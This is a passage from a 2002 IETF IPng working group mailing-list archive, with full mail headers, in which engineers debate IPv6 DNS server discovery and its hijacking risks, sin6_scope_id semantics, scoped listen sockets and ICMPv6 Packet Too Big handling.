got into this swamp. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Apr 19 11:33:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JIXtIA011389; Fri, 19 Apr 2002 11:33:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3JIXtBA011388; Fri, 19 Apr 2002 11:33:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3JIXqIA011381 for ; Fri, 19 Apr 2002 11:33:52 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA29574 for ; Fri, 19 Apr 2002 11:33:55 -0700 (PDT) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA05708 for ; Fri, 19 Apr 2002 12:33:53 -0600 (MDT) Received: (from bmanning@localhost) by boreas.isi.edu (8.11.6/8.11.2) id g3JIXoi07198; Fri, 19 Apr 2002 11:33:50 -0700 (PDT) From: Bill Manning Message-Id: <200204191833.g3JIXoi07198@boreas.isi.edu> Subject: Re: Stateless DNS discovery draft In-Reply-To: <4.3.2.7.2.20020419095317.02d0e000@mailhost.iprg.nokia.com> from Bob Hinden at "Apr 19, 2 09:57:34 am" To: hinden@iprg.nokia.com (Bob Hinden) Date: Fri, 19 Apr 2002 11:33:50 -0700 (PDT) Cc: ipng@sunroof.eng.sun.com X-Mailer: ELM [version 2.4ME+ PL39 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk and this is ok? we should tolerate this level of capability? I thought we had the chance to build in better capability to ensure the integrity of the system instead of maintaining the status quo? The landscape is changing (teatherless) and the threats are more pronounced. Now we could spin this in a slightly different manner, where local admins are simply trying to get things working in the face of overbearing glacial red-tape. Sort of the same justification many used for deployment of NAT. Not hackers at all, just folks trying to get things to work... :) However, I really should just let this alone. It might be worth the paper to put some of these concerns into the security section of your standards track RFC. % I disagree. Hackers who have this level of sophistication can just as % easily disrupt DHCP(v4or v6) server traffic, DHCP relay traffic, and/or the % traffic to DNS servers that are advertised by the DHCP servers. % % Bob % % At 01:11 AM 4/19/2002, Bill Manning wrote: % >% you have almost the same issue which you described above, whether you use % >% well-known or non-well-known. % >% % >% --- Toshi % > % > Not so. with well-known addresses, the hijack works % > every time. if the nameservers (like today) are % > different, depending on inital configuration (/etc/resolv.conf) % > or passed to the node by a dhcp server, then it is much % > harder to hijack every node every time. % > % > However, I don't wish to impead the progress of this WG. % > I'll go back to tending my roses. % > % >--bill % >-------------------------------------------------------------------- % >IETF IPng Working Group Mailing List % >IPng Home Page: http://playground.sun.com/ipng % >FTP archive: ftp://playground.sun.com/pub/ipng % >Direct all administrative requests to majordomo@sunroof.eng.sun.com % >-------------------------------------------------------------------- % % -------------------------------------------------------------------- % IETF IPng Working Group Mailing List % IPng Home Page: http://playground.sun.com/ipng % FTP archive: ftp://playground.sun.com/pub/ipng % Direct all administrative requests to majordomo@sunroof.eng.sun.com % -------------------------------------------------------------------- % -- --bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 21 15:51:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3LMptGs002084; Sun, 21 Apr 2002 15:51:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3LMptsx002083; Sun, 21 Apr 2002 15:51:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3LMpqGs002076 for ; Sun, 21 Apr 2002 15:51:52 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA28422 for ; Sun, 21 Apr 2002 15:51:53 -0700 (PDT) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA10436 for ; Sun, 21 Apr 2002 15:51:53 -0700 (PDT) Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3LMpqms074956 for ; Sun, 21 Apr 2002 18:51:52 -0400 Received: from d27mc103.RCHLAND.IBM.COM (d27mc103.rchland.ibm.com [9.10.226.35]) by northrelay02.pok.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3LMpoa121356 for ; Sun, 21 Apr 2002 18:51:50 -0400 Subject: sockaddr_in6::sin6_scope_id use To: ipng@sunroof.eng.sun.com X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "Edward Boden" Date: Sun, 21 Apr 2002 18:51:49 -0400 X-MIMETrack: Serialize by Router on D27mc103/27/M/IBM(Release 5.0.9a |January 7, 2002) at 04/21/2002 05:51:51 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk What should the sockaddr_in6::sin6_scope_id field contain? An interface index or a {scope, zone} indicator? It would be better (simpler, more flexible, easier to understand, etc.) if we could use it for either. (For example, in light of the defined if_nametoindex(), if_indextoname() and related functions.) The current basic socket enhancements draft (draft-ietf-ipngwg-2553bis-05.txt) specifies that this 32-bit integer "identifies a set of interfaces". More specifically, a "interface index" for a link-local scope sin6_addr, or a "site identifier" for a site-local sin6_addr. (section 3.3) (More thoughts follow, in the draft, with no mention of zones or zoneid.) The current ip6 scoped addr architecture draft (draft-ietf-ipngwg-scoping-arch-03.txt) suggests a 32-bit representation of {scope,zone} by using the upper-most 4 bits for the scope, and the rest of the value used to specify the zone (section 12.2). Proposal: allow sin6_scope_id to be used for either interface index or a {scope, zone} indicator. This can be simply accomplished by adopting the scoped address architecture representation for {scope, zone}. And, allow the interpretation of 0x0 in the 'scope' portion of sin6_scope_id to mean the rest of the value is an interface index. (There are other ways, of course.) Do people agree with the idea of using sin6_scope_id for either? Ed Boden -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 21 16:07:09 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3LN79Gs002187; Sun, 21 Apr 2002 16:07:09 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3LN79IX002186; Sun, 21 Apr 2002 16:07:09 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3LN76Gs002179 for ; Sun, 21 Apr 2002 16:07:06 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA25247 for ; Sun, 21 Apr 2002 16:07:07 -0700 (PDT) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA04187 for ; Sun, 21 Apr 2002 17:07:06 -0600 (MDT) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id CAA11166; Mon, 22 Apr 2002 02:07:01 +0300 Date: Mon, 22 Apr 2002 02:07:01 +0300 Message-Id: <200204212307.CAA11166@burp.tkv.asdf.org> From: Markku Savela To: bodeneb@us.ibm.com CC: ipng@sunroof.eng.sun.com In-reply-to: (bodeneb@us.ibm.com) Subject: Re: sockaddr_in6::sin6_scope_id use References: Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The current basic socket enhancements draft > (draft-ietf-ipngwg-2553bis-05.txt) specifies that this 32-bit integer > "identifies a set of interfaces". More specifically, a "interface index" > for a link-local scope sin6_addr, I think it should say "link-local scope id" for link local address, to be logical (which is not necessarily same as interface index). The idea of having a scope id which is of different type than than the address was rejected. (Which makes me wonder why does the scoped architecture draft talk about having the 4 bits in ID assigned to scope type: I think this is internal implementation issue, and not required, if system works without such trick). However, I still don't have strong opininion about this, e.g. whether scope identifiers type can differ from type of address. Currently, I'm writing a version where identifiers scope type is *always* determined from the address -- you cannot have isolated scope id. Seems to give fairly clean result.. so far... -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Apr 21 22:33:10 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3M5XAGs002960; Sun, 21 Apr 2002 22:33:10 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3M5XArJ002959; Sun, 21 Apr 2002 22:33:10 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3M5X6Gs002952 for ; Sun, 21 Apr 2002 22:33:06 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA01195 for ; Sun, 21 Apr 2002 22:33:07 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA04682 for ; Sun, 21 Apr 2002 22:33:06 -0700 (PDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3M5Wso60864; Mon, 22 Apr 2002 14:32:55 +0900 (JST) Date: Mon, 22 Apr 2002 14:33:05 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Markku Savela Cc: ipng@sunroof.eng.sun.com Subject: Re: Listen sockets and scoped addressing? In-Reply-To: <200204121451.RAA06578@burp.tkv.asdf.org> References: <200204121451.RAA06578@burp.tkv.asdf.org> User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 34 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Fri, 12 Apr 2002 17:51:29 +0300, >>>>> Markku Savela said: > I'm trying to understand the effects of scoped addressing and have > some difficulty of deciding how system should work on following > situation: > if it is possible to specify listening socket with ANY address, but > somehow limited to specific scope (for example, site local scope > with identifier = X) > then the action is clear, if incoming packet has site local > destination (of the host). The incoming destination scope must by X. > However, I'm not quite sure how I should deal with other > incoming destionations: link local or global scope packets. Should I > a) match them with site scope listen, if the originating interface > belongs to site scope = X? > b) only accept strictly destination with site scope addresses, even if > they enter system from interface that has site scope = X? Since we've never had this type of semantics in the traditional socket API, there is no correct answer. But, at this moment, I'd vote for (b). JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp p.s. I'm planning to write a separate API draft for scoped addresses (unless someone else has already started). We should probably discuss the issue there. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 01:06:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3M86pGs003340; Mon, 22 Apr 2002 01:06:51 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3M8630h003337; Mon, 22 Apr 2002 01:06:03 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3M85xGs003330 for ; Mon, 22 Apr 2002 01:05:59 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA17639 for ; Mon, 22 Apr 2002 01:06:00 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA04822 for ; Mon, 22 Apr 2002 01:05:59 -0700 (PDT) Received: from localhost ([3ffe:501:4819:2000:200:39ff:fed9:21d7]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id g3M85ho63001; Mon, 22 Apr 2002 17:05:47 +0900 (JST) Date: Mon, 22 Apr 2002 17:05:53 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: mccann@zk3.dec.com, deering@cisco.com Cc: ipng@sunroof.eng.sun.com Subject: ICMPv6 too big with a "too small" MTU User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 20000228(IM140) Lines: 37 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have a question wrt RFC 1981 (path MTU discovery for IPv6). The RFC says in Section 4. as follows: Note: A node may receive a Packet Too Big message reporting a next-hop MTU that is less than the IPv6 minimum link MTU. In that case, the node is not required to reduce the size of subsequent packets sent on the path to less than the IPv6 minimun link MTU, but rather must include a Fragment header in those packets [IPv6- SPEC]. RFC 2460 has a related text (in Section 5): In response to an IPv6 packet that is sent to an IPv4 destination (i.e., a packet that undergoes translation from IPv6 to IPv4), the originating IPv6 node may receive an ICMP Packet Too Big message reporting a Next-Hop MTU less than 1280. In that case, the IPv6 node is not required to reduce the size of subsequent packets to less than 1280, but must include a Fragment header in those packets so that the IPv6-to-IPv4 translating router can obtain a suitable Identification value to use in resulting IPv4 fragments. ... In my understanding, the only "translating router" that needs the indication of the fragment header is an SIIT (or similar) translation router. In fact, neither NAT-PT (RFC 2766) nor TCP-relay (RFC 3142) needs the indication. So my questions are: - is my understanding correct? - if so, is it allowed for a host not implementing SIIT client side to ignore the requirement to insert the fragment header upon receiving an ICMPv6 too big message with an MTU less than 1280? JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 03:21:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MALsH0003475; Mon, 22 Apr 2002 03:21:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MAHhj9003464; Mon, 22 Apr 2002 03:17:43 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MAHdGs003457 for ; Mon, 22 Apr 2002 03:17:39 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19129 for ; Mon, 22 Apr 2002 03:17:39 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA25525 for ; Mon, 22 Apr 2002 03:17:38 -0700 (PDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3MAHbs7009096 for ; Mon, 22 Apr 2002 12:17:37 +0200 (MEST) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Mon Apr 22 12:17:30 2002 +0200 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id <2JBTSJGM>; Mon, 22 Apr 2002 12:15:05 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC96@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "Hesham Soliman (ERA)" , "'Bill Manning'" , "'t.yamasaki@ntt.com'" Cc: "'john.loughney@nokia.com'" , "'Jonne.Soininen@nokia.com'" , "'ipng@sunroof.eng.sun.com'" Subject: RE: Stateless DNS discovery draft Date: Mon, 22 Apr 2002 12:17:22 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > % > % Yes, there are security issues, but no worse than > non-well-known address > % methods. > > hogwash. if one expects DNS servers to always be available > at, for example, fe80:dead:beef::53, then -anyone- can make > a server available at that address, not just the site admin. => Ah, and if you always expect a relay agent to be available at a reserve link local address, anyone can hijack this address. The same goes for any reserved address until ND is secured. As for the site-local address for DNS discovery, yes you can install a server on that address, but how do you reach it? Hopefully not anyone can inject a route for it, otherwise we're in much deeper trouble than hijacking a DNS address. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 03:21:55 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MALsGw003475; Mon, 22 Apr 2002 03:21:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MAIA9S003472; Mon, 22 Apr 2002 03:18:10 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MAI7Gs003465 for ; Mon, 22 Apr 2002 03:18:07 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19203 for ; Mon, 22 Apr 2002 03:18:07 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA04083 for ; Mon, 22 Apr 2002 04:18:05 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3MAI4s7009237 for ; Mon, 22 Apr 2002 12:18:04 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 22 12:15:00 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 22 Apr 2002 12:07:14 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6AC97@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "Hesham Soliman (ERA)" , "'Thomas Narten'" , "'Bob Hinden'" Cc: "'IPng List'" Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Mon, 22 Apr 2002 12:17:44 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > IPv6 provides two approaches to basic IPv6 configuration. One is > > server-less and is defined in IPv6 Neighbor Discover > [RFC2461] and the IPv6 > > Stateless Address Autoconfiguration [RFC2462]. > > Note: I don't know that I understand this distinction. Calling ND > "server-less" doesn't seem entirely accurate. ND requires a router > sending the client prefix information for the addresses it is to > generate. Without that info, the client can only generate link-local > addresses. In this case, the router quacks like a server. I.e., the > client sends out an RS, the router responds with a RA. Is > it not being > a server? => Well IMHO, the default router is not a server. For a node to communicate with other nodes outside the link, it requires a router. Hence, the dependency is already there (on the default router). There is no other node involved. We can discuss the terminology, but the point is, there is no reliance on a third node involved. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 10:35:03 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHZ3Gs004112; Mon, 22 Apr 2002 10:35:03 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MHZ3E2004111; Mon, 22 Apr 2002 10:35:03 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHZ0Gs004104 for ; Mon, 22 Apr 2002 10:35:00 -0700 (PDT) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA27873 for ; Mon, 22 Apr 2002 04:25:21 -0700 (PDT) Received: from cisco.com (mrwint.cisco.com [144.254.98.48]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA00332 for ; Mon, 22 Apr 2002 05:25:20 -0600 (MDT) Received: (from otroan@localhost) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) id MAA14884; Mon, 22 Apr 2002 12:25:08 +0100 (BST) X-Authentication-Warning: mrwint.cisco.com: otroan set sender to ot@cisco.com using -f To: "Hesham Soliman (ERA)" Cc: "'Thomas Narten'" , "'Bob Hinden'" , "'IPng List'" Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6AC97@Esealnt861.al.sw.ericsson.se> From: Ole Troan Date: Mon, 22 Apr 2002 12:25:08 +0100 In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6AC97@Esealnt861.al.sw.ericsson.se> ("Hesham Soliman's message of "Mon, 22 Apr 2002 12:17:44 +0200") Message-ID: <7t5r8l80ycr.fsf@mrwint.cisco.com> Lines: 27 User-Agent: Gnus/5.090006 (Oort Gnus v0.06) Emacs/20.7 (sparc-sun-solaris2.8) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > > IPv6 provides two approaches to basic IPv6 configuration. One is > > > server-less and is defined in IPv6 Neighbor Discover > > [RFC2461] and the IPv6 > > > Stateless Address Autoconfiguration [RFC2462]. > > > > Note: I don't know that I understand this distinction. Calling ND > > "server-less" doesn't seem entirely accurate. ND requires a router > > sending the client prefix information for the addresses it is to > > generate. Without that info, the client can only generate link-local > > addresses. In this case, the router quacks like a server. I.e., the > > client sends out an RS, the router responds with a RA. Is > > it not being > > a server? > > => Well IMHO, the default router is not a server. > For a node to communicate with other nodes outside > the link, it requires a router. Hence, the dependency > is already there (on the default router). There is > no other node involved. We can discuss the terminology, > but the point is, there is no reliance on a third > node involved. so as long as the piece of code runs on a (default) router, the requirement for server-lessness is fulfilled? e.g this could be a DHCP server? /ot -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 10:41:14 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHfDGs004281; Mon, 22 Apr 2002 10:41:13 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MHfD3Y004279; Mon, 22 Apr 2002 10:41:13 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHf5Gs004253 for ; Mon, 22 Apr 2002 10:41:05 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02813 for ; Mon, 22 Apr 2002 09:59:30 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA04343 for ; Mon, 22 Apr 2002 10:59:29 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id 068DB1BFF for ; Mon, 22 Apr 2002 12:59:28 -0400 (EDT) Date: Mon, 22 Apr 2002 12:59:27 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: ICMPv6 too big with a "too small" MTU In-Reply-To: References: User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020422165928.068DB1BFF@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Er, NAT-PT is basicly a supserset of SIIT, so anything one needs to do for SIIT one also needs to do for NAT-PT. Or am I misunderstanding something? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 22 10:43:04 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3MHh4Gs004364; Mon, 22 Apr 2002 10:43:04 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3MHh4lv004363; Mon, 22 Apr 2002 10:43:04 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from 